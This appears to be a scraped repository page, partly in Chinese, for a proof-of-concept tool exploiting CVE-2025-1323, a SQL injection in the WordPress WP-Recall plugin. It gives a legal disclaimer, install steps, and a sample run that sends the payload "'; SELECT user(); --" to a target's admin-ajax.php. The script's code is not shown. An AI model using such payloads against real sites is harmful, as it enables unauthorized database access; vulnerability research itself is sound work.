CVE-2025-1323 PoC — WordPress plugin WP-Recall SQL注入漏洞

Description

WP-Recall Plugin SQL Injection 

介绍

# cve-2025-1323
WP-Recall Plugin SQL Injection 

## ⚠️ Legal Disclaimer

This tool is intended for **authorized security testing and educational use only**.  
Do not use against systems without explicit permission. Misuse may be illegal.

## ✅ Requirements

- Python 3.x
- `requests` module

Install dependencies:

```bash
pip install requests

python CVE-2025-1323.py

Enter target URL (e.g. https://target.com/wp-admin/admin-ajax.php): https://example.com/wp-admin/admin-ajax.php
Enter ajax_nonce value: 37c11b0c06

[*] Sending payload: '; SELECT user(); --

[+] Response received:
{"result":"SQL error or leaked data here..."} 

文件快照

备注